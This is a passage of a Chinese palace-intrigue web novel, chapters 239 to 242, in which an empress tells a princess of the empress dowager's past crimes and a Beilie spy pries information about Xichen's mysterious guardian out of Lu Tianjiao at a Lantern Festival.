皇后继续道“自此以后,你皇爷爷便终日里郁郁寡欢,知道自己大限将至,便悄悄立下了秦王为储君。可那时,秦王尚且不足十岁,何以堪重任?太后便挑唆重臣,说太妃想借以幼子来垂帘听政,这才说通了你皇爷爷的身前侍从,取得并命人改了你皇爷爷的亲笔御召。同时借以为你皇爷爷祈福之名,将秦王母子支离宫中到了太庙里去。借此机会,在你皇爷爷弥留之际,命太医在你皇爷爷的药汤里加了加了鹤顶红,这便送走了你皇爷爷,你父皇便借此而登基。” “什么?皇祖母她她竟亲手毒死了皇爷爷,如此大逆不道的事,她竟也敢做,难道就不怕遭天打雷劈么……”轩辕玥一时间里气愤亦甚感恐惧极了,似是都不愿再继续说下去。 “在这个世上,没有太后不 敢做的事情。她对权势的欲望,几近已经是到达了疯狂的境界。母后虽然是她的亲侄女,但也是极怕她的。只要有人拦了她的道,她定不会与其善罢甘休。玥儿答应母后,千万不要去招惹她,她绝对是一个六亲不认的人。”皇后轻抚着轩辕玥的手背,对其叮咛道。 (本章完) 第二百三十九章:色衰而爱驰,爱驰则恩绝 “在这个世上,没有太后不敢做的事情。她对权势的**,几近已经是到达了疯狂的境界。母后虽然是她的亲侄女,但也是极怕她的。只要有人拦了她的道,她定不会与其善罢甘休。儿...答应母后,千万不要去招惹她,她绝对是一个六亲不认的人。”皇后轻抚着轩辕的手背,对其叮咛道。 许久,轩辕的心里似是着实有些不可思议,在自己自小到大的眼里,平日里就知道礼佛不问世事,待人更是亦一向如佛般大慈大悲,慈爱的皇祖母竟会如此狠毒,如果这话不是从自己的生生母后嘴里出来,任谁说,她都是万万不会相信半个字的。 莫非,这就是那种人不犯我我不犯人,人若犯我,我必叫人死无葬身之地的那种人吗?太可怕了,真是太可怕了。 顿时,她只觉这天地之间一片模糊,似是什么都已看不太清楚。 “那太妃的死,难道也是……”思及此,轩辕的眼里满是惊诧地盯视着皇后的脸又问。 皇后蹙起眉头来,叹了口气,幽幽回忆道“那日之事,母后亦不是特别清楚。那日里,太后传召太妃入宫,说要一起去城南城隍庙里为多灾多难的西秦国祈福。母后本应陪同太后一同前往,岂料太后说既然已有太妃相伴,便将母后留在了宫中主事。母后只知,自从你皇爷爷过世之后,太妃因自己未能赶上见你皇爷爷最后一面,整夜整夜地失眠不得安睡。对于却只有她一人为何会那般死沉地葬身于那场大火也是颇为不解。只是听宫人们说,凌晨的那场大火,烧的将整个夜空都似是点亮了一般,最后只剩下一堆白骨……” 轩辕听了,心里在震惊不已的同时亦更加肯定,却似是仍有些不解地道“城隍庙乃皇家寺庙,守卫那般森严,从未出过岔子,想必,那一定便是皇祖母所为了。可那时皇爷爷已去,父皇已经称帝,而皇祖母,她亦已经贵为西秦太后,得到了自己想要的一切,却为什么还要和太妃过不去呢?” 皇后其实这些年以来,心里也一直这样怀疑:这个世上,太后最大也是唯一的眼中钉,肉中刺,除了太妃,怕是再也没有第二个人了。 于是,她心疼又温柔地一边抚着轩辕的一头乌黑亮丽的长发,一边说道“儿,你真的还小。以后,你会慢慢明白:在这个世上,女人与女人之间的斗争从不会因为一方的获胜便停息告终。一切的一切,怪只怪你皇祖母一开始便对你皇爷爷用情太深,寄望太高,可这世间男子薄情汉,又有哪一个曾会从一而终呢?更何况,你皇爷爷他还贵为这个偌大的西秦国的一国之君。当然,还不仅如此,也因为太妃当年同朝中的那些官员一样,持坚决反对的态度,不同意你皇爷爷纳守护者后人为妃。” “母后的言外之意是说,皇祖母是支持皇爷爷将守护者纳妃的?可母后方才不是刚刚还说过,皇祖母对皇爷爷一往情深吗?那还为何要亲手将其她女子故意往皇爷爷怀里推呢?”轩辕对此纳闷极了。 皇后淡淡又似是无奈地对其笑了笑,停下了手里的动作,最后将目光定在了轩辕一张天真稚嫩,不经世事的 脸上,说道“女人若是一旦对男人绝望而被逼急了,是什么事都做的出来的,正如即使太后再爱这个男人,而最后却也能狠下心来将其亲手送上黄泉之路。正所谓‘色衰而爱驰,爱驰则恩绝’,这个道理,古往今来,恒古不变,皇族尤然。那时的太妃入宫没几年,年轻貌美,深的你皇爷爷盛宠,而太后色衰,自然是望尘莫及。” 说着说着,稍作停顿,却转而露出了一脸严肃继续道“但让太后最害怕的,是太妃诞下的秦王。秦王从小勤于习文练武,文武双全,有勇有谋,甚是拔尖,尽透漏出一股帝王之气。你皇爷爷因此对太妃和秦王母子便更加宠爱和看中,朝中支持太妃和秦王的臣子亦越来越多。你皇祖母那般要强的人,怎能容得下这母子俩人?见其有朝一日定会威胁到自己的后位。于是,便令人全国到处搜罗美人,如此既可以成为自己的羽翼为己所用,又可以分散太妃的势力和恩宠。这才无意中错将守护者后人的美人画像令人献给了你皇爷爷,并教人唆使你皇爷爷将其纳入后宫。” “什么叫‘无意中错将守护者后人的美人画像令人献给了皇爷爷’?不是相传守护者是专门守护西秦天子的么?为何不是时刻在皇爷爷身边待命,为什么那般神秘呢,似是根本没有人见过其样貌?”轩辕静静地听着,忽然眉头皱了一下,抬起头来疑惑地问。 皇后略作思索,道“西秦守护者非臣非贵族,不受朝廷管束,亦不拿朝廷俸禄,但只要她存在于这个世界的某一个角落,便能与西秦天子发生某种心灵感应来为其设法解除危难,并世代以守护西秦的国运昌盛为已任。只有每一代守护者到了15岁及笄的年纪,便会派人专程进宫送上其画像给当朝皇后,以作不时之需。除了历代皇后,再无人知道守护者的模样。” “什么?守护者能与天子发生心灵感应,竟如此神奇?”轩辕闻此,惊呆了。 皇后饮了一口茶汤,继而抿起嘴来淡淡地笑了笑,道“嗯,她们乃是一族世世代代里均以单脉相传的人,且都是女子。听闻该族之后人皆都美貌出众,世间无人能敌。‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’简直宛若一个落入凡尘的九天仙女一般。如此这般的美人,就连女子见了都自叹不如,更何况是男子呢!也正是如此,太后错以为那是在民间所寻得的绝世美人,便错将那画像命人呈给了你皇爷爷,这才让已至不惑之年的你的皇爷爷当年似是魔怔了一般,完全不顾朝中群臣的反对与阻挠,一意孤行执意欲纳这张绝世面孔为贵妃。” “原来是这样……”轩辕终于恍然大悟。 “大错已然铸成,太后也是诚惶诚恐。但让所有人都始料未及的是,守护者后来在被送进宫的半途中,竟遭遇不测,不慎落崖身亡了。果然,接下来的西秦国,正如那几位重臣之前劝阻时的谏言所预料的一样,西秦国失去了守护者,连连接踵而来的天灾**便开始到处肆无忌惮地狂虐开来,势不可挡。”皇后叹气着说道。 认其是守护者的身份呢?” 话至此处,殿内一时间里 一室寂静。 俩人沉默地坐在一起许久,忽然,轩辕瞪着一双乌黑闪亮的美目问皇后,道“母后,那最后一位坠崖而亡的守护者,她叫什么名字?” “那个可怜的女孩,她叫做‘若曦’,死的时候,只不过才刚刚15岁而已……”皇后深感惋惜地黯然说道。 “那若曦的画像呢?儿想看看她长的什么模样,不是说当年有专人将她的画像送到了宫里给皇祖母吗?那如今,母后才是当朝的一国之母,想必若曦的画像一定在母后这里了吧?”轩辕好奇地又问。 闻此,皇后抬起头来对其缓缓说道“那张画像……自从你皇爷爷看到了以后,便整日里挂在他的寝殿中,睹物思人。后来,守护者坠崖身亡,西秦国灾难不断,他终于意识到自己铸成大错,才使西秦处在了水深火热之中,从此便一病不起,直到后来……。再后来,你父皇,便命人在你皇爷爷的寝殿里翻了个底朝天,才在你皇爷爷的龙榻下将其寻出。却不知怎么的,那张画像独独被人给毁掉了其脸部,无法辨识。你父皇一登大宝,便寻觅了许多身怀绝技的画师欲将其修复,奈何都无人能为之。最后,不得已只得将此画像交给了西秦学院的陆贤,让其慢慢琢磨修复,但是至今亦都还没有任何消息。恐怕是……” 轩辕惊诧道“画像被毁了?这真是太奇怪了。如此重要的画卷,怎么会被毁了呢?……那母后可有曾见过守护者本人或是那张画像,为何不命人再画一张呢?” “母后当然……当然不曾见过。守护者既然已死,且因一张画像酿成了今日如此之大祸,太后亦不愿再提起,时间久了,她亦只是见过那张画像一眼而已,如今早已记不清了。而且,见过那张画像的人,不知为何,亦后来基本上都已经被你皇爷爷秘密处死了。”皇后的言语里露出一丝诡异。 闻此,轩辕惊的直对着皇后的眼睛目瞪口呆了起来。许久后,兀自喃喃自语道“除了画像,难道就真的没有什么方法能确认守护者吗?” 正在沉思,岂料耳畔忽然飘出一阵皇后低的似是都连自己都听不清的声音来“听闻……每一代守护者身上都有一个单脉相传的凤凰印记,乃是其世代相传的专属印记。” “‘凤凰印记’?”轩辕提高声音来惊讶道。 皇后对其微微点了点头“母后也是听人说的,不曾亲眼见过。” “不过话说回来,儿,近日母后听你父皇说,元宵节过后,明日早朝便会决议你究竟是与哪国和亲?若那东宁国三皇子执意不肯的话,怕是你与北烈大皇子的事,便要在所难免了。无论如何,你心里总是提早要有所准备的。做女子难,做皇族的女子更是难上加难,难于上青天。”皇后再次紧握起轩辕的一双白皙嫩滑的玉手,似是握着珍珠宝贝一般地对语重心长却又一脸忧郁地说道。 闻此,轩辕的眉心微微触动着,眼里满是哀伤。似是经历了这许多悲欢离合之后,这个公主真的已经悄悄长大了许多,也让她更清晰地看到:现实,永远似是都让人这般猝不及防,奈何相思总是令人难如意。 第二百四十章:好久不见 溶溶月色连灯市,霭霭春色满夜城,街头灯影逐花影,满城梅香伴酒香,蜃楼海市落星雨,火树银花不夜天。 今夜,大地之上,处处皆是一片欢腾。 西秦国的皇城内,亦自是少不了许多盛大灯会的举行。 夜幕一下,人们便匆匆结束了一餐丰盛的元宵节团圆饭后,将自家的孩童或牵手或架或扛在自己的肩头,再为其挑出一盏颇为满意的花灯来,燃起一支红烛于内,与街坊邻居们三三两两地相邀为伴一起走上街头。 一眼望不到边际的繁华夜市上,人海,灯海汇合成了一条五颜六色沸腾了的海洋。人们似乎永远都总能乐此不疲地流连于这样灯火辉煌,热闹非凡的灯海狂欢夜中。不知不觉中,竟不知连自己也已成了其当中的一道独特风景。 当时间刚好到达午夜时分的时候,人群里忽然出现了一道耀眼的光辉,将这片沸腾了的大地瞬间点化成一片银白色的梦幻世界,恍若白昼一般。此时,所有的风景似是都顿然失色。 人们亦都顿时惊诧的不约而同抬起头来朝其望去,只见一轮又大又圆的月亮高高悬在空中,原是夜空中出现了难得一见的“皓月顶空照”的壮丽天象。 人群里,不知何时起竟渐渐有人传出来说“元宵之夜,‘皓月当空’,预示着来年我西秦国里定有贵人现世,百姓必会得以安居乐业。” 说着说着,传着传着,忽然间所有人都接二连三地跪成一片,无一不俯首对着这轮皓月高声齐呼“贵人现世,天佑西秦,从此风调雨顺,国泰民安。” 然如此喧闹,声势浩大的场景,似乎却根本没有影响到在这街市边上的一条小河边,角落上的一座幽静的凉亭里,一位梨花带雨的温婉女子正趴在亭里的石桌上伤心地抽泣着。 这女子,似是今夜里自始至终唯独都与此情此景最为不和谐的一人。 此刻,只有她对眼前所发生的一切都视若无睹,哪怕是这道极为罕见的点亮了整片黑夜的皓月之光。 女子只顾死死地趴在桌上,一边抽泣着,一边苦道“翰哥哥,对不起,天骄不是故意的,天骄真的不是故意的,你要原谅天骄,一定要原谅天骄!” 忽然,凉亭外出现了一个身材高大、墨发半束、在那皓月之光的照耀下,一袭锦衣白袍,虽脸上显得有些苍白与孱弱,但依旧看得出颇有气质的男子身影。 那男子形单影只地立在一旁沉默着观察打量了这女子许久,方才缓缓踱步走上了石阶进入了凉亭之中,从身上摸出一方男子的帕子来朝着女子面前递了上去,并关切着说道“正月十五乃元宵佳节,本应是邀上自己的意中人开开心心地上街赏月赏花灯才是的好日子,小姐却为何独自一人在此黯然伤心落泪呢?赶快擦擦吧,这若是叫外人看见了该是有多尴尬啊。” “谁要你多管闲事啊?你是个什么东西?竟敢来此打扰本小姐?”女子闻声,立马止住哭腔抬起头来,又忙用手背抹了一把脸庞的泪水,这才朝男子 扬声呵斥道。 可话音刚落,待其目光一移向男子脸上的轮廓时,女子便瞬间被眼前的来人惊呆了,半晌都说不出话来,待一回神过来,便诧异地问了句“怎么是你?北烈国商人...拓跋...泽?” “西秦学院陆院长的千金...陆大小姐,好久不见,竟还能记得在下,真是荣幸至极。”男子随即拱手行礼对其问候谢道。 然陆天骄却似是依旧和上次第一次见面一样,不屑地朝其撇了一眼,接着又冷哼了一声,便扭过头去端坐着,不再说话。 “在下发觉,似乎与小姐的每次相遇,小姐都是一筹莫展的样子。请恕在下多嘴,试问小姐今夜又有何伤心为难之事?如此良辰美景,竟也忍心辜负,独自在此难过哭泣呢?莫非又是那位不解风情,不知怜香惜玉的无福之人……”男子一边揣测地说着,竟已似是成为习惯了的在其身边不请自坐了下来。 闻此,陆天骄竟忽然再一次忽的趴在石桌上失声痛哭了起来。 拓跋泽忙将方才那方未递上前去的男人帕子再次拿了出来,岂料陆天骄这次竟然接过还用了起来。或许,这是因为她此时,真的是太孤独,太无助了吧! 陆天骄一边哭,一边说“我不是故意的,我真的不是故意的,我也不想她死,可为什么他就是不相信我呢?甚至连听我亲口对他解释的机会都不给我。” “陆小姐...陆小姐……”拓跋泽见了,忙朝其伸出一只手去却将其停在半空中,心里最终还是犹豫了一下,方才轻轻地拍了两下陆天骄的背轻轻唤道。 这时,陆天骄忽然出其不意地猛抬起身来,明明是两只十指不沾阳春水的纤纤玉手,却就是用这样的一双手紧紧的攥住拓跋泽的两只结实的臂膀上的衣角,大力地一边摇晃着,一边泪眼婆娑地问他“你相信我吗?你相信我吗?当时我真的不知道那碗燕窝粥里面有迷药,我真的不知道,我真的不知道……” 看到陆天骄此刻的眼里,眼巴巴地包含着的尽是卑微而又可怜的乞求被理解的渴望,拓跋泽对其怔着默了片刻,嘴里清晰地回答了句“我相信你说的,都是真的。” 一时间,陆天骄抑郁纠结了许久的内心似是终于得到了释放,竟又哭又笑地喜极而泣了起来,缓缓松开了附在拓跋泽身上的一双手。 拓跋泽眼睁睁地看着陆天骄的手一点点从自己的胳膊上抽走,最后故作似是一副不忍心的腔调来低声喃喃对其说道“陆小姐,其实,在下这次前来,是特意跟陆小姐道别的...以后,天涯海角,咱们怕是再也见不着了。” 闻此,陆天骄顿时看向拓跋泽的脸,朝其纳闷不解地说道“道别?你不是说你在城南做...做那种生意吗?怎么上次一点儿也没听你说起过,竟如此突然?” “那个生意经营的本就不好,再加上在下并非西秦本土人士,没有什么背景,就更是难以立足了。如今,为此到处奔走,日夜费心操劳,尽也是白忙活了一场。这不,还将自己的身体也给托 垮了,与其如此苟延残喘着在此艰难度日,不如关门大吉,回国重整旗鼓做些正经的小买卖安然度日也罢。”拓跋泽捎带着咳了几声,故作可怜兮兮道。 闻此,不知为何,陆天骄心中强烈的一股同情心竟油然而生。稍作思量,开口对其说道“公子若是不嫌弃的话,天骄倒是可以找人在西秦帮衬着点公子,不知公子意下如何呢?” “真的吗?如此,那真是太好了,能得到陆小姐的帮助,在下真是三生有幸啊!”拓跋泽惊的忙起身来朝其拱手致谢道。 说完,俩人一同坐了下来。稍作犹豫,拓跋泽笑着探问“那...不知在下日后若是有需要陆小姐帮忙的话,要去哪里找小姐呢?今夜乃实属有缘才能再见小姐一面。” “我现在住在秦王府,但是你去王府找我纵然有诸多不便...要不,你将你在皇城的住址告诉我,我可以抽空去找你,如何?”稍作思量,陆天骄建议道。 “好好好,真是太好了。”拓跋泽连连拍手叫好着,便 急急凑到了陆天骄的耳旁,对其耳语起来。 听完后,陆天骄端坐起身来微微朝其点了点头。 沉默了片刻,终于,拓跋泽开口问到了今夜寻来的重点道“听陆小姐所言,似乎小姐与秦王府颇有渊源。不知道,有一件事,陆小姐可曾听说过?” “什么事?”陆天骄淡淡地问。 浅浅地吸了口气,拓跋泽幽幽道“灵空大陆里,世人皆盛传西秦国有一种神秘力量的守护,却无人知晓此力量究竟为何物?在下想问,不知陆小姐可曾听说过这股神秘力量究竟是什么?” “原来你想问的是这个?不过,你一个商人问这个做什么?你该不会是...北烈国不怀好意渗入我西秦的细作吧?”陆天骄恍然大悟,缓缓起身来背着他,望着亭边的潺潺流水,说着说着忽然猛地转身过来瞪着拓跋泽的眼睛道。 见此,拓跋泽顿时一愣,稍一回神来,镇定地道“陆小姐何出此言?且看在下如今这一副病入膏肓的羸弱模样,试问,北烈国哪有这般差的细作?” 陆天骄兀自踱步回来拓跋泽的身前,围着其站立的位置慢悠悠地转了一圈,再次仔细地打量了其一番“看你也不像,不过。咱们丑话可都说在前头,若是有朝一日,你被本小姐发现是在骗本小姐的话,本小姐一定会亲手将你碎尸万段。” “如若真是这样的话,到时候哪还敢劳烦陆小姐亲自动手啊,让您亲手杀在下还怕污了小姐的手呢!如今,陆小姐对在下有再造之恩,在下定当做牛做马来报答陆小姐。” 陆天骄笑了笑“做牛做马就不必了,这些本小姐都不缺,不过,若是有一日,本小姐也需要你帮忙的话……” 尚未待其将话说完,拓跋泽便急急抢过话来道“陆小姐尽管安排,在下一定惟命是从,万死不辞。” 陆天骄掩鼻轻笑一声,道“没那么严重。” “那不知小姐,是否知道此力量究竟为何物?” 第二百四十一章:女人心,海底针 “那不知陆小姐,是否知道此力量究竟为何物?”拓跋泽眼里满含着热烈的乞盼,渴望地看着眼前的温婉女子,柔声道。 陆天骄沉默了一会儿,神秘地悠悠说道“‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’据说,她是宛若一个落入凡尘的九天仙女一般,就连女子见了都自叹不如,是个拥有绝世容颜的美人儿。” 闻此,拓跋泽蓦然一惊地怔愣住,回想起衣上云曾经在密道里的猜想“这股神秘力量是一个神秘部落的女子,她拥有一把能斩妖除魔的神剑,她的血液拥有神奇的力量,还有一个能创造奇迹的世代相传的圣物。” 继而不禁又失神地望向了另一边,喃喃自语道“竟还真被那个丫头给猜对了,看来,她还真是颇为与众不同,只可惜……” “怎么?一听到守护者是个绝世美人儿,你的魂便丢了,眼睛也直了不成?”陆天骄看着拓跋泽此时完全一副沉沉入迷的模样,便白了他一眼,侧过身去对其轻蔑地道。 拓跋泽这才急急回过神来,凑到其耳边阿谀奉承道“陆小姐此言差矣,在下怎会是那种以貌取人,见色忘义之徒。况且,在在下的眼里,陆小姐已是拥有这世间最‘沉鱼落雁,闭月羞花’之绝世容颜了,想必再也不会有人比陆小姐更加才貌双全,美若天仙了!” 陆天骄闻之,虽是侧身对其骄傲的一脸不屑于顾之态,然心里却早已是被其言美翻了。 “美是美,只不过…‘自古红颜多薄命’,纵使守护者再美,她也是无福消受这份天赐的容颜,美又有何用?”陆天骄扶了扶耳上的那对赤金镶白玉鱼形耳坠,惋惜地道。 “什么…守护者…她死了?”闻此,拓跋泽瞬间被惊呆了。 自从城南一战,不仅彻底摧毁了他呕心沥血多年以来在西秦国所精心布置的一切,还让他惨遭全军覆没。 好不容易说服了他的皇弟拓跋宏先回国去,帮他在其父皇面前将此事先想办法拖延住,能够让他继续留在西秦国里抢夺那股神秘力量,为其将功赎罪。 其实原本,他已被其说服打算随同其一起回国去的。不料半途中,却忽然想起了陆天骄的存在,想着这个女人身份特殊,一定知道些什么。 这才又折了回来,并绕道先去了西秦学院一趟,方才打听到原来陆天骄年关之前便已至秦王府里暂住。 正当从西秦国由南往东的一路上,乔装打扮着躲避官府追捕的他,愁着怎么才能在这戒备森严的秦王府见到陆天骄本人。 突然一想,今夜元宵佳节,她定会出门赏灯。这不,还真是被他给撞到了。 可此时,却不想,这么快便被得知守护者竟然已经不存在了。莫非这么多年,他在西秦里的一切竟都是白费了?那他还怎么将功赎罪,回去跟他的父皇交待? ‘女人心,海底针’,而在陆天骄的心里,只要是世人眼里 认为比她美好、比她强大的女子,陆天骄心里自是恨不得通通都已经死绝了。可此时话刚出口,一想到面前的人乃是来自外邦之人,她似是心里多多少少又浮起了一丝顾虑。 于是,就在拓跋泽忿忿不平,极不甘心之际,陆天骄继续说道“关于守护者,有人认为她坠崖身亡了,也有人因为未寻到她的尸骨,所以心有不甘,认为她只是失忆忘记了自己的身份,可能流落到了灵空大陆的某一个角落里。” 闻此,拓跋泽竟激动地一把拽住了陆天骄的胳膊,将其整个人都转了过来面朝着自己,继而盯着她的眼睛满含期盼地道“那守护者长的什么模样?可有画像?” 陆天骄显然被其这一举动惊吓了一跳,当即对其厉声呵斥道“你这是做什么?还不快松手!” “对不起,对不起,在下只是对这个神秘至极的女子太好奇了,小姐莫怪,小姐莫怪。”拓跋泽这才自觉失态,便急急松手,连连对其致歉道。 陆天骄狠狠地瞪了他一眼,兀自整理好自己的衣裳,又默了一会儿,幽幽道“守护者的画像被人给毁了其面容部分,皇上将其交给家父,尚还在修复之中。不过……” “不过什么?”拓跋泽忙问。 陆天骄道“不过,听闻每一代守护者身上都有一个单脉相传的凤凰印记,乃是其世代相传的专属印记。” “凤凰印记?”拓跋泽甚感纳闷,默默地重复了一句。 就在俩人都陷入到各自的沉思之际,突然“嘭”的一声,紧接着便犹如天女散花一般,夜空里连连绽放起朵朵绚丽的烟花来。 凉亭里的俩人,亦随着夜空下正欢呼雀跃着的人们一起都顿时不约而同抬起头来朝其望去。 这才发现,原来方才难得一见的“皓月顶空照”的壮丽天象早已不复存在。 取而代之的,则是漫天烟花再一次继续将这片寂静的夜空点亮了起来,人们的脸上亦都洋溢着满满幸福的喜悦之情。 “天骄,天骄……”就在这片颇为壮观的火树银花的照耀下,人群里忽然冒出一位翩翩公子来,那人正在一蹦一跳地朝着凉亭里的温婉女子挥手大声地疾呼着。 拓跋泽正欲再次开口来问些什么,然一眼疾手快地看见人群里那人的影子,便改口急急地向陆天骄拱手行礼告辞道“陆小姐,时辰不早了,在下该回去了,那咱们后会有期!” “嗯,你先走吧,我还想再在这里独自呆会儿,我会记得去找你的,放心吧。”陆天骄应道。 男子笑着对其点了点头,便急急走下石阶来,朝着街市的另一头走去,很快便消失在茫茫人海当中。 陆天骄侧身站在凉亭里,默默地目送其离去的背影。心中忽然对其油然而生出一种莫名的感觉来。 这种感觉,就像是一个身处在渺无人烟的大漠绝地之中迷失了方向,又被周围那令人窒息的热浪炙烤地奄奄一息。于茫茫无助之间,突然出现 的一个可以慰籍自己心灵的同伴一般。 彼此之间,虽不够熟悉,却足以用寥寥的只字片语,便能让她重新燃起继续振作起来的顽强意志,不至于因此而被沙尘埋没。 就在这时,人群里方才向其招手呼唤的翩翩男子竟不知何时,早已不知不觉地来到她的身后,亦顺着其望去的方向同样凝视了半晌,却似是什么都没有发现。 于是,男子回过神来,继而“啪”的一声,一只骨节分明的大手重重地拍在了陆天骄的肩上。 陆天骄这才急急回过神来,心中随之一震,收回视线,胸中怒火正待发作,一扭头回来却只惊讶地尖叫了一声道“哥哥,怎么是你?你怎么来了?” 原来,此人便是陆天骄的同胞哥哥,陆天麟。 陆天麟并没有急着回答她的疑问,却是先兀自问道“妹妹不是书信回学院说,在秦王府陪伴秦王妃吗?怎么这会儿却一个人在这儿?你在这儿做什么?方才哥哥我可是在那头清清楚楚地看到这亭子里有一个男子身影哦,他是谁?你该不会是……” 随着陆天麟愈来愈没有边际的揣测,陆天骄似是再也听不下去,便急急开口将其打断道“哥哥莫要胡言乱语,想什么呢?那人只不过…只不过是一个问路的外地人而已。” “外地人?这大过年的,大家不都是与家人一起团圆过年的么,哪有人还会在外面瞎晃悠?”陆天麟纳闷地道。 见他一副不罢不休,非要‘打破沙锅问到底’的架势,今夜里本就心烦气躁着的陆天骄忽然极不耐烦地朝其扬声嚷嚷了起来,道“我说是前来问路的外地人便就是来问路的外地人,你若不信,纵使我怎么说,你亦都不会信。如此,你又何必问我,我又何必再讲。你不也是大过年的,从千里迢迢之外的南部边境赶来皇城的外地人吗?怎么,难道哥哥至今仍是死性不改,‘只许州官放火,不许百姓点灯’?” 看着陆天骄气势汹汹地朝着自己瞪来的一双气焰十足的怒目,陆天麟反而温和地解释说“妹妹,瞧你这话怎么讲的。哥哥怎会是那种人,我和父亲乃都是奉旨进宫参加宫里的元宵节宫宴的。” 闻此,陆天骄脸上的愤怒瞬间转成一副极为惊异的眼神,疑惑地纳闷不解道“奉旨进宫?父亲自从离开朝堂之后,可是很少被传召入宫的。这次,到底又发生了什么事?” 陆天麟忙安慰其道“妹妹不要担心,其实,也没有什么大事。只不过就是皇上借着元宵节宫宴,问父亲关于……” 陆天麟说着说着停了下来,向着陆天骄的耳边凑了凑继续道“问父亲关于守护者画像的还原进度。” 闻此,陆天骄忙问“那现在父亲的进展究竟如何了?” 见陆天麟一直不说话,只是重重地连连叹气,陆天骄虽眼睛一动不动地盯看着他,心却早已乱成了麻,道“还不行?” 陆天麟接着又想了想,似是至今仍有些什么不解的地方…… 第二百四十二章:我恨你们 见陆天麟一直不说话,只是重重地连连叹气着,陆天骄虽眼睛一动不动地盯看着他,心却早已乱成了麻,盯视许久后说道“还不行?” 陆天麟兀自又想了想,却似是至今仍有些甚为不解的地方。 凉亭不远处,熙熙攘攘热闹欢腾着的人们,依旧兴致不减半分。而却唯独这两兄妹,站立在一起彼此目视着对方。 月光下,两个一起长大彼此本应熟悉的不能再熟悉,而此刻却又似是如此陌生的身影被拖得无限长。 半晌后,陆天麟犹犹豫豫间,忽然炸出了一句“妹妹,你…你与宫里的那些主子们,没有很熟吧?” 陆天骄闻此,心里忽然咯噔一下,似是瞬间连心跳都停了下来。先是对着陆天麟双眼一怔,继而很快将目光闪躲开来。 又侧过身去故作有些莫名其妙地怒气冲冲对其说道“我?哥哥这话是何意?从小到大,妹妹从未进过宫。皇上传召,也一向是由哥哥陪同父亲一起入宫面圣的,妹妹又何时曾见过宫里的那些人?甭说人了,就是连皇宫的门,都不知开在哪边?” 陆天麟木然地听着,不以为然道“可是你小的时候,深得太妃疼爱,常伴其左右,不是经常随太妃入宫的吗?难道,就不曾结识过宫中的某些人?” 陆天骄一脸无辜,急道“哥哥,太妃薨逝已经八年了,那时候妹妹才几岁,哥哥难道不知吗?儿时的记忆,谁还能记得?” 闻此,陆天麟似乎只得收声,无奈地又叹了口气,摇摇头。 “哥哥,到底发生了何事?”许久后,陆天骄再次凑到似是一筹莫展的陆天麟身边柔声问道。 陆天麟依旧一脸严肃地沉默着,似是根本没有听到陆天骄所言,只顾陷在自己沉沉的思索当中。 他单手附后直挺挺地站在凉亭的扶栏边,怔怔地看着水里的一群红鲤鱼在夜光的照耀下,自由自在地游来游去。直到其中的一条颇为欢实的鱼儿在水面了突然高高地跳跃了一下,紧接着又落入水中,随即激起一阵涟漪来,打破了整个平静的水面。 陆天麟方才似是回过神来,说道“守护者画像的修复已经完成了。” 闻此,陆天骄心里顿时又惊又喜,终于长长的舒了口气。继而忙伸出双手去紧紧抱住陆天麟的胳膊,倚在上面,高兴地道“‘皇天不负苦心人’,太好了,真是太好了,这么多年的功夫总算没有白费,父亲做到了,父亲终于做到了。” 忽然,她缓缓松开来自己的手,脸上的喜悦也渐渐散去,站立好身子,仰起头来看着陆天麟的愁容满面,疑惑不解地问“既然守护者画像的修复已经成功了,那哥哥又在发什么愁呢?” 陆天麟仰面轻叹了一声,幽幽道“妹 妹应该知道,我陆氏满门深受秦王殿下及太妃娘娘的大恩大德。如若不是太妃娘娘,你我兄妹怕是永无来到这个世上的可能。如果没有秦王殿下,父亲怕早就被奸臣所害,满门抄斩。璟帝暴政,昏庸又多疑,而秦王则宅心仁厚,正义凛然,爱民如子,故我陆氏满门自是向来唯以殿下马首是瞻。” 陆天骄对陆天麟所言点了点头,以示肯定,陆天麟看着陆天骄的眼睛,继续认真说道“守护者画像终得以修复成功,如此重大的事情,自然第一时间应该知会秦王殿下,再由殿下决定该如何处理此事。可就在前几天的一个夜里,父亲与我刚完成守护者画像的修复,便有从千里迢迢之外的宫里来的人,亲传皇上圣旨,宣我与父亲带着守护者画像即刻入宫见驾,一刻都不得多逗留。很明显,这其中一定是有人将消息提前透漏了出去。而此事,整个西秦学院里可是只有你我兄妹二人和父亲,除此以外,再并无其他人知道的呀!” “所以,哥哥便怀疑是妹妹所为咯?”陆天骄这才恍然大悟道。 “妹妹……” 未及陆天麟将剩余的话说出,陆天骄先急急扬声将其打断道“哥哥,妹妹在你的心里,难道就是如此不堪么?妹妹对殿下的忠诚和心意,并不比你和父亲少半分。这一点,别人不知,难道哥哥亦不知?” “妹妹……”陆天麟似乎早已预料到了自己心里的这番怀疑和言语之间的不妥之处,可纵使他再谨小慎微,依旧果不其然又一次刺痛了这个颇为敏感的妹妹的心。但他此刻还是想竭力对其解释说些什么,以作弥补和安慰。 不想陆天骄竟忽然渐渐一步一步地朝后退了起来,还捂起自己的耳朵摇着头,似是很难以置信地怒声阻止其道“不要说了,不要说了,我知道,你不信我,父亲也不信我,大家都不信我,殿下他也……这个世上,所有的人都不信我,那我还活着做什么。我恨你们,我恨你们,我再也不想见到你们!” 陆天骄一边声嘶力竭地忿忿怒吼着,一边抹着泪疾步奔下了凉亭的石阶,继而兀自朝着一条幽静的小道上奔去,一晃便不见了人影。 “天骄,天骄……”陆天麟一脸惊慌失措,抬头看了看天色,亦大步流星地朝其背影追了上去。 火树银花终散去,唯有日月亘古今。 正月十六的凌晨五更天,天色还未见亮,沸腾了大半夜的街市却终于慢慢恢复安静了下来。 城西衣府门前,家主衣上坤入宫的马车,一如往常地准时开始缓缓向着皇宫的方向驶去。 衣上坤身着一袭藏青色暗纹新衣,正端坐在马车里闭目养神着,忽觉右眼皮一直跳个不停,心里似是已有所虑的样子,不禁 口中喃喃暗自道“老天保佑,可千万不要出了什么事才好啊!” 当马车驶到街前拐角的赵记茶馆门前的时候,忽然,迎面驶来一辆看起来似是有些熟悉的马车,其速度之快,到了拐角的视线盲点,竟也不知减速半分。若不是因为衣上坤的马车刚起步,驾车的老奴及时勒住了缰绳,怕是两辆马车就这样硬生生地撞在一起,不止是人仰马翻那样简单的。 